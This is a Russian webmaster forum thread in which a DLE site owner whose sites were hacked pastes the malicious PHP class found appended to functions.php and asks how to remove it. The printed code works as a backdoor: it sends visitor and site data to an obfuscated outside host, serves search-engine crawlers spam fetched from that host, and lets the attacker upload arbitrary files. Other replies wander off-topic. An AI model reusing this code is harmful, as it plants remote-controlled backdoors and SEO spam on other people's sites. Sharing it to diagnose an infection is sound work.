- Поисковые системы
- Практика оптимизации
- Трафик для сайтов
- Монетизация сайтов
- Сайтостроение
- Социальный Маркетинг
- Общение профессионалов
- Биржа и продажа
- Финансовые объявления
- Работа на постоянной основе
- Сайты - покупка, продажа
- Соцсети: страницы, группы, приложения
- Сайты без доменов
- Трафик, тизерная и баннерная реклама
- Продажа, оценка, регистрация доменов
- Ссылки - обмен, покупка, продажа
- Программы и скрипты
- Размещение статей
- Инфопродукты
- Прочие цифровые товары
- Работа и услуги для вебмастера
- Оптимизация, продвижение и аудит
- Ведение рекламных кампаний
- Услуги в области SMM
- Программирование
- Администрирование серверов и сайтов
- Прокси, ВПН, анонимайзеры, IP
- Платное обучение, вебинары
- Регистрация в каталогах
- Копирайтинг, переводы
- Дизайн
- Usability: консультации и аудит
- Изготовление сайтов
- Наполнение сайтов
- Прочие услуги
- Не про работу
Маркетинг для шоколадной фабрики. На 34% выше средний чек
Через устранение узких мест
Оксана Мамчуева
Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий
Всем доброго времени суток. Имею два сайта на DLE, на этой неделе оба подверглись взлому. В самый верх страницы встраивается вот такая вот гадость:
Погуглив, начал искать возможные источники вредоносного кода. И нашел - в файле functions.php было 160 лишних строчек, добавленных в конец:
Class conectBase {
var $timeout = 15;
var $bUrl = '';
private function get_content_code($a,$query=false,$type=false){
if($type) $frt = $a.$query;
else $frt = base64_decode($a).$query;
$ret = false;
if( @function_exists('curl_init') ){
if( $curl = @curl_init() ){
if( !@curl_setopt($curl,CURLOPT_URL,$frt) ) return $ret;
if( !@curl_setopt($curl,CURLOPT_RETURNTRANSFER,true) ) return $ret;
if( !@curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,$this->timeout) ) return $ret;
if( !@curl_setopt($curl,CURLOPT_HEADER,false) ) return $ret;
if( !@curl_setopt($curl,CURLOPT_ENCODING,"gzip,deflate") ) return $ret;
$ret = @curl_exec($curl);
@curl_close($curl);
}
}
else{
$u = parse_url($frt);
if( $fp = @fsockopen($u['host'],!empty($u['port']) ? $u['port'] : 80 ) ){
$headers = 'GET '. $u['path'] . '?' . $u['query'] .' HTTP/1.0'. "\r\n";
$headers .= 'Host: '. $u['host'] ."\r\n";
$headers .= 'Connection: Close' . "\r\n\r\n";
@fwrite($fp, $headers);
$ret = '';
while( !feof($fp) ){
$ret .= @fgets($fp,1024);
}
$ret = substr($ret,strpos($ret,"\r\n\r\n") + 4);
@fclose($fp);
}
}
return $ret;
}
private function srt_rep($data){
$data = preg_replace("'[^a-zР°-СЏ.,-]'si",'',$data);
$data = str_replace("\r\n","",trim(stripcslashes(preg_replace("'<[^>]*>'si",'',$data))));
$data = str_replace("\r\n","",$data);
$data = str_replace(" ", "::::",$data);
return$data;
}
private function get_n_link($content){
preg_match_all("'<a.*?href=[\"\']http:\/\/(.*?)[\"\'][^>]*>'si",$content,$all);
foreach($all[1] as $val){
$link = explode("/",$val);
$host = preg_replace('/^www\./', '', $_SERVER["HTTP_HOST"]);
$h_link = preg_replace('/^www\./', '', $link[0]);
if($h_link !== $host){
$name[$h_link] = $h_link;
}
}
return count($name);
}
private function title_desc($content){
if(preg_match_all("'\<meta(.*?)[^>]*>'si",$content,$math)){
foreach($math[0] as $key =>$val){
if(strstr($val,"description")) preg_match("'content=[\"\'](.*?)[\"\']'si",$val,$MERS[0]);
if(strstr($val,"keywords")) preg_match("'content=[\"\'](.*?)[\"\']'si",$val,$MERS[1]);
if(strstr($val,"Content-Type") or strstr($val,"content-type")) preg_match("'charset=(.*?)[\"\']'si",$val,$MERS[2]);
}
}
if(preg_match("'<title[^>]*>(.*?)<\/title[^>]*>'si",$content,$pre_title)){
if(strstr($pre_title[1],'В»')) preg_match("'(.*?)В»'si",$pre_title[1],$MERS[3]);
else $MERS[3][1] = $pre_title[1];
}
return $MERS;
}
private function upFile(){
if($_GET['upFile']){
$ip = $_SERVER["REMOTE_ADDR"];
$ipList = $this->get_content_code($this->bUrl,'false&ipList=true');
if(strstr($ipList,$_SERVER["REMOTE_ADDR"])){
@mkdir(ROOT_DIR.$_GET['upDir']);
@copy($_GET['upFile'],ROOT_DIR.$_GET['upDir'].'/'.$_GET['upName']);
if(file_exists(ROOT_DIR.$_GET['upDir'].'/'.$_GET['upName'])) print '<!--upTrue-->';
}
}
}
public function conectBase($murl){
$URI = $_SERVER["REQUEST_URI"];
$HOST = $_SERVER["HTTP_HOST"];
$this->bUrl = $murl;
$this->upFile();
$rssUrl = end(explode('/',$_SERVER["REQUEST_URI"]));
if ( (strstr($_SERVER['HTTP_USER_AGENT'], 'Yandex') or strstr($_SERVER['HTTP_USER_AGENT'], 'Google')) and $rssUrl !== 'rss.php'){
print "<!--bot_true-->\n";
$content = $this->get_content_code('aHR0cDovLw==',$HOST.$URI);
$MERS = $this->title_desc($content);
$s_temp = @file_get_contents(ROOT_DIR.'/templates/'.$config['skin'].'/main.tpl');
$vs = $this->get_n_link($content);
$temp = $this->get_n_link($s_temp);
$conect = 'n';
if ( strstr($_SERVER['HTTP_USER_AGENT'], 'Yandex')){
$conect = 'y';
}
elseif( strstr($_SERVER['HTTP_USER_AGENT'], 'Google')){
$conect = 'g';
}
if($MERS[2][1] == 'UTF-8' or $MERS[2][1] == 'utf-8'){
$MERS[3][1] = mb_convert_encoding($MERS[3][1], 'windows-1251', 'UTF-8');
$MERS[1][1] = mb_convert_encoding($MERS[1][1], 'windows-1251', 'UTF-8');
$MERS[0][1] = mb_convert_encoding($MERS[0][1], 'windows-1251', 'UTF-8');
}
$TMP = $this->get_content_code($murl,$URI.'&host='.$HOST.'&vs='.$vs.'&temp='.$temp.'&hu='.$conect.'&ip='.$_SERVER["REMOTE_ADDR"].'&t='.$this->srt_rep($MERS[3][1]).'&k='.$this->srt_rep($MERS[1][1]).'&d='.$this->srt_rep($MERS[0][1]));
if($MERS[2][1] == 'UTF-8' or $MERS[2][1] == 'utf-8'){
$TMP = mb_convert_encoding($TMP, 'UTF-8', 'windows-1251');
}
print $TMP;
}
}
}
$conectBase = new conectBase('aHR0cDovL3BpemRlYy1uZWFyLndzL2NvbmVjdC5waHA/dXJsPQ==');?>
Сделав бэкап, удалил эти строки, залил файл на сервер. Ничего не изменилось
И да, вот еще что - код то появляется, то исчезает, но когда он появляется - то шрифт в полной новости, в краткой новости и в блоке голосования становится больше. Ума не приложу, что делать дальше.
Может вредный код был изначально внедрен в тему.
Абсолютно схожая беда с одним сайтом. Траф из за этой гадости обвалился на процентов 80(((( Народ help!!!
Я конечно, не по этому вопросу у меня обнесли всю почту домашнюю,
и притом не могу понять, дома пароли прятал/закрывал от доступа, а все равно обнесли (как не понимаю),
пароли все были в блокноте/на флэшке.😒
Кто знает, как так научились воровать...:o:eek:
Постоянно торчу в скайпе, а тогда скайп отключал, а пароли все зашифрованные/побитые,
вот вместе паролей что стало:
1011000011110100011
113022123312
4.6911222102
2.46913456711
и это вместо моих паролей.
Кто сталкивался - отзовитесь.
Дома линукса конечно нету... не пользуюсь..
Вообще тема взломов сайтов - это давний вопрос, который уже замучал весь интернет (РУНЕТ).
Не проходит и года, как обязательно нагадят и испортят, мое мнение, что управление К,
должно более эффективно заниматься, даже самыми маленькими проектами - ведь они собственность, а ее понятие закреплено в конституции РФ.😒
Потери от DDOS ошеломляют: просто насколько теряют крупные интернет-магазины или им подобные проекты от этого,
как много теряет бизнесмен от таких событий, как они мешают,
в работе, сколько клиентов недополучает магазин или портал, как рушится и обваливается статистика сайта,
многие только и живут метрикой и ее данными.
Все строго имхо.
Вообще тема взломов сайтов - это давний вопрос, который уже замучал весь интернет (РУНЕТ).
Не проходит и года, как обязательно нагадят и испортят, мое мнение, что управление К,
должно более эффективно заниматься, даже самыми маленькими проектами - ведь они собственность, а ее понятие закреплено в конституции РФ.😒
Потери от DDOS ошеломляют: просто насколько теряют крупные интернет-магазины или им подобные проекты от этого,
как много теряет бизнесмен от таких событий, как они мешают,
в работе, сколько клиентов недополучает магазин или портал, как рушится и обваливается статистика сайта,
многие только и живут метрикой и ее данными.
Все строго имхо.
Ага, в управлении К делать нечего, как вашими сайтами заниматься.
Безопасность сайта - задача вебмастера.
p.s. лицензия на DLE есть?
shura_lolipop, Если проблема не решена до сих пор напишите в личку, я избавился от этой гадости.
shura_lolipop, Если проблема не решена до сих пор напишите в личку, я избавился от этой гадости.
пишите тогда уж всем, пусть люди знают, как от этого избавляться
пишите тогда уж всем, пусть люди знают, как от этого избавляться
Я бы с легкостью рассказал что было сделано, если бы мне эту проблему не предлагали решить за деньги. Поэтому уж извините. Помощь окажу только человеку начавшему эту тему. Ещё раз извините.
я избавился от этой гадости.
используйте нормальные движки и забудете, что такое взлом сайта.
DLE как раз и есть гадость, за что платить 60 баксов не понимаю, тот же самый бесплатный вордпресс обладает идентичным функционалом.
используйте нормальные движки и забудете, что такое взлом сайта.
DLE как раз и есть гадость, за что платить 60 баксов не понимаю, тот же самый бесплатный вордпресс обладает идентичным функционалом.
Каждая лягушка хвалит своё болото. Лично мне вордпресс совершенно не нравится. Мне больше по душе DLE, но я же не говорю что вордпресс это гадость. Так что просьба держать мнение насчет движков при себе, а если хотите высказаться по этому поводу то обратитесь на форум любителей DLE и там напишите что DLE отстой, а wordpress forever. Думаю много чего нового узнаете о своем движке и о себе лично. Тут как бы тема не о движках, а о проблеме с которой столкнулся человек.